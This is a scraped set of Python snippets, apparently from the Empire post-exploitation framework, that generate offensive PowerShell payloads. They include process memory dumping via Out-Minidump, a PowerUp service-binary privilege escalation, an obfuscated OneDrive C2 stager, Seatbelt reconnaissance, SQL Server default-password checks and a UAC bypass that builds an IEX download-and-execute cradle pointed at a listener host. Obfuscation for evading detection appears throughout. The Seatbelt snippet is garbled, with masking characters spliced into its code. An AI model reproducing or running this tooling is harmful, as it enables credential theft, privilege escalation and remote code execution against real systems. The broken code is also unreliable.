            ) != "showall" and option.lower() != "outputfunction":
                if values and values != '':
                    if values.lower() == "true":
                        # if we're just adding a switch
                        script_end += " -" + str(option)
                    else:
                        script_end += " -" + str(option) + " " + str(values)

        if show_all != "true":
            script_end += " | ?{$_.Status -eq 'OK'}"

        script_end += " | Format-Table -AutoSize"
        outputf = params.get("OutputFunction", "Out-String")
        script_end += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str(
            module.name.split("/")[-1]) + ' completed!"'

        if obfuscate:
            script_end = helpers.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=obfuscation_command)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 23
0
    def _generate_script_powershell(self, module: PydanticModule, params: Dict, obfuscate=False, obfuscate_command='') \
            -> Tuple[Optional[str], Optional[str]]:
        if module.script_path:
            # Get preobfuscated module code
            if obfuscate:
                data_util.obfuscate_module(
                    moduleSource=module.script_path,
                    obfuscationCommand=obfuscate_command)
                module_source = module.script_path.replace(
                    "module_source", "obfuscated_module_source")
                with open(module_source, 'r') as stream:
                    script = stream.read()
            else:
                with open(module.script_path, 'r') as stream:
                    script = stream.read()
        else:
            script = module.script

        script_end = f" {module.script_end} "
        option_strings = []
        # This is where the code goes for all the modules that do not have a custom generate function.
        for key, value in params.items():
            if key.lower() not in ["agent", "computername", "outputfunction"]:
                if value and value != '':
                    if value.lower() == "true":
                        # if we're just adding a switch
                        # wannabe mustache templating.
                        # If we want to get more advanced, we can import a library for it.
                        this_option = module.advanced.option_format_string_boolean \
                            .replace('{{ KEY }}', str(key)) \
                            .replace('{{KEY}}', str(key))
                        option_strings.append(f'{this_option}')
                    else:
                        this_option = module.advanced.option_format_string \
                            .replace('{{ KEY }}', str(key)) \
                            .replace('{{KEY}}', str(key)) \
                            .replace('{{ VALUE }}', str(value)) \
                            .replace('{{VALUE}}', str(value))
                        option_strings.append(f'{this_option}')

        script_end = script_end \
            .replace('{{ PARAMS }}', ' '.join(option_strings)) \
            .replace('{{PARAMS}}', ' '.join(option_strings)) \
            .replace('{{ OUTPUT_FUNCTION }}', params.get('OutputFunction', 'Out-String')) \
            .replace('{{OUTPUT_FUNCTION}}', params.get('OutputFunction', 'Out-String'))

        script += script_end

        if obfuscate:
            script = helpers.obfuscate(self.main_menu.installPath,
                                       psScript=script,
                                       obfuscationCommand=obfuscate_command)
        script = data_util.keyword_obfuscation(script)

        return script, None
Exemplo n.º 24
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/collection/Out-Minidump.ps1"

        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace(
                "module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        if main_menu.obfuscate and not pathlib.Path(
                obfuscated_module_source).is_file():
            script = data_util.obfuscate(
                installPath=main_menu.installPath,
                psScript=module_code,
                obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end = ""
        for option, values in params.items():
            if option.lower() != "agent":
                if values and values != '':
                    if option == "ProcessName":
                        script_end = "Get-Process " + values + " | Out-Minidump"
                    elif option == "ProcessId":
                        script_end = "Get-Process -Id " + values + " | Out-Minidump"

        for option, values in params.items():
            if values and values != '':
                if option != "Agent" and option != "ProcessName" and option != "ProcessId":
                    script_end += " -" + str(option) + " " + str(values)

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 25
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        username = params['Username']
        password = params['Password']
        instance = params['Instance']
        no_defaults = params['NoDefaults']
        check_all = params['CheckAll']
        script_end = ""
        
        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/collection/Get-SQLColumnSampleData.ps1"
        script = ""
        if obfuscate:
            data_util.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscation_command)
            script = module_source.replace("module_source", "obfuscated_module_source")
        try:
            f = open(module_source, 'r')
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if check_all:
            aux_module_source = main_menu.installPath + "/data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
            if obfuscate:
                data_util.obfuscate_module(moduleSource=aux_module_source, obfuscationCommand=obfuscation_command)
                aux_module_source = module_source.replace("module_source", "obfuscated_module_source")
            try:
                with open(aux_module_source, 'r') as auxSource:
                    auxScript = auxSource.read()
                    script += " " + auxScript
            except:
                print(helpers.color("[!] Could not read additional module source path at: " + str(aux_module_source)))
            script_end = " Get-SQLInstanceDomain "
            if username != "":
                script_end += " -Username "+username
            if password != "":
                script_end += " -Password "+password
            script_end += " | "
        script_end += " Get-SQLColumnSampleData"
        if username != "":
            script_end += " -Username "+username
        if password != "":
            script_end += " -Password "+password
        if instance != "" and not check_all:
            script_end += " -Instance "+instance
        if no_defaults:
            script_end += " -NoDefaults "

        outputf = params.get("OutputFunction", "Out-String")
        script_end += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str(module.name.split("/")[-1]) + ' completed!"'
        if obfuscate:
            script_end = helpers.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=obfuscation_command)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 26
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):      
        # read in the common powerup.ps1 module source code
        module_source = main_menu.installPath + "/data/module_source/privesc/PowerUp.ps1"
        if obfuscate:
            data_util.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscation_command)
            module_source = module_source.replace("module_source", "obfuscated_module_source")
        try:
            f = open(module_source, 'r')
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        module_code = f.read()
        f.close()

        service_name = params['ServiceName']

        # # get just the code needed for the specified function
        # script = helpers.generate_dynamic_powershell_script(moduleCode, "Write-ServiceEXECMD")
        script = module_code

        # generate the .bat launcher code to write out to the specified location
        launcher = main_menu.stagers.stagers['windows/launcher_bat']
        launcher.options['Listener'] = params['Listener']
        launcher.options['UserAgent'] = params['UserAgent']
        launcher.options['Proxy'] = params['Proxy']
        launcher.options['ProxyCreds'] = params['ProxyCreds']
        launcher.options['ObfuscateCommand'] = params['ObfuscateCommand']
        launcher.options['Obfuscate'] = params['Obfuscate']
        launcher.options['Bypasses'] = params['Bypasses']
        if params['Delete'].lower() == "true":
            launcher.options['Delete'] = "True"
        else:
            launcher.options['Delete'] = "False"

        launcher_code = launcher.generate()

        # PowerShell code to write the launcher.bat out
        script_end = ";$tempLoc = \"$env:temp\\debug.bat\""
        script_end += "\n$batCode = @\"\n" + launcher_code + "\"@\n"
        script_end += "$batCode | Out-File -Encoding ASCII $tempLoc ;\n"
        script_end += "\"Launcher bat written to $tempLoc `n\";\n"
  
        if launcher_code == "":
            return handle_error_message("[!] Error in launcher .bat generation.")
        else:
            script_end += "\nInstall-ServiceBinary -ServiceName \""+str(service_name)+"\" -Command \"C:\\Windows\\System32\\cmd.exe /C $tempLoc\""

        if obfuscate:
            script_end = helpers.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=obfuscation_command)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 27
0
    def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None, token=None):
        """
        Generate the stager code
        """

        if not language:
            print(helpers.color("[!] listeners/onedrive generate_stager(): no language specified"))
            return None

        staging_key = listenerOptions['StagingKey']['Value']
        base_folder = listenerOptions['BaseFolder']['Value']
        staging_folder = listenerOptions['StagingFolder']['Value']
        working_hours = listenerOptions['WorkingHours']['Value']
        profile = listenerOptions['DefaultProfile']['Value']
        agent_delay = listenerOptions['DefaultDelay']['Value']

        if language.lower() == 'powershell':
            f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath)
            stager = f.read()
            f.close()
            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)

            stager = stager.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder))
            stager = stager.replace('REPLACE_STAGING_KEY', staging_key)
            stager = stager.replace("REPLACE_TOKEN", token)
            stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay))

            if working_hours != "":
                stager = stager.replace("REPLACE_WORKING_HOURS", working_hours)

            randomized_stager = ''

            for line in stager.split("\n"):
                line = line.strip()

                if not line.startswith("#"):
                    if "\"" not in line:
                        randomized_stager += helpers.randomize_capitalization(line)
                    else:
                        randomized_stager += line

            if encode:
                return helpers.enc_powershell(randomized_stager)
            elif encrypt:
                RC4IV = os.urandom(4)
                staging_key = staging_key.encode('UTF-8')
                return RC4IV + encryption.rc4(RC4IV + staging_key, randomized_stager.encode('UTF-8'))
            else:
                return randomized_stager

        else:
            print(helpers.color("[!] Python agent not available for Onedrive"))
Exemplo n.º 28
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        # First method: Read in the source script from module_source
        moduleSource = main_menu.installPath + "/data/module_source/situational_awareness/host/Invoke-Seatbelt.ps1"
        if obfuscate:
            data_util.obfuscate_module(moduleSource=moduleSource,
                                       obfuscationCommand=obfuscation_command)
            moduleSource = moduleSource.replace("module_source",
                                                "obfuscated_module_source")
        try:
            f = open(moduleSource, 'r')
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(moduleSource))

        moduleCode = f.read()
        f.close()

        script = moduleCode
        scriptEnd = 'Invoke-Seatbelt -Command "'

        # Add any arguments to the end execution of the script
        if params['Command']:
            scriptEnd += " " + str(params['Command'])
        if params['Group']:
            scriptEnd += " -group=" + str(params['Group'])
        if params['Computername']:
            scriptEnd += " -computername=" + str(params['Computername'])
        if params['Username']:
            scriptEnd += " -username="******" -password="******" -full"
        if params['Quiet'].lower() == 'true':
            scriptEnd += " -q"

        scriptEnd = scriptEnd.replace('" ', '"')
        scriptEnd += '"'

        if obfuscate:
            scriptEnd = helpers.obfuscate(
                psScript=scriptEnd,
                installPath=main_menu.installPath,
                obfuscationCommand=obfuscation_command)
        script += scriptEnd
        script = data_util.keyword_obfuscation(script)

        return script
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        username = params['Username']
        password = params['Password']
        instance = params['Instance']
        check_all = params['CheckAll']

        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
            script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code,
                                         obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        if check_all:
            module_source = main_menu.installPath + "/data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
            if obfuscate:
                data_util.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscation_command)
                module_source = module_source.replace("module_source", "obfuscated_module_source")
            try:
                with open(module_source, 'r') as auxSource:
                    aux_script = auxSource.read()
                    script += " " + aux_script
            except:
                print(helpers.color("[!] Could not read additional module source path at: " + str(module_source)))
            script_end = " Get-SQLInstanceDomain "
            if username != "":
                script_end += " -Username "+username
            if password != "":
                script_end += " -Password "+password
            script_end += " | Select Instance | "
        script_end += " Get-SQLServerLoginDefaultPw"
        if instance != "" and not check_all:
            script_end += " -Instance "+instance
        # Get the random function name generated at install and patch the stager with the proper function name

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        stager = params['Stager']
        host = params['Host']
        userAgent = params['UserAgent']
        port = params['Port']

        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/privesc/Invoke-BypassUACTokenManipulation.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
            script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code,
                                         obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        try:
            blank_command = ""
            powershell_command = ""
            encoded_cradle = ""
            cradle = "IEX \"(new-object net.webclient).downloadstring('%s:%s/%s')\"|IEX" % (host, port, stager)
            # Remove weird chars that could have been added by ISE
            n = re.compile(u'(\xef|\xbb|\xbf)')
            # loop through each character and insert null byte
            for char in (n.sub("", cradle)):
                # insert the nullbyte
                blank_command += char + "\x00"
            # assign powershell command as the new one
            powershell_command = blank_command
            # base64 encode the powershell command

            encoded_cradle = base64.b64encode(powershell_command)

        except Exception as e:
            pass

        script_end = "Invoke-BypassUACTokenManipulation -Arguments \"-w 1 -enc %s\"" % (encoded_cradle)

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script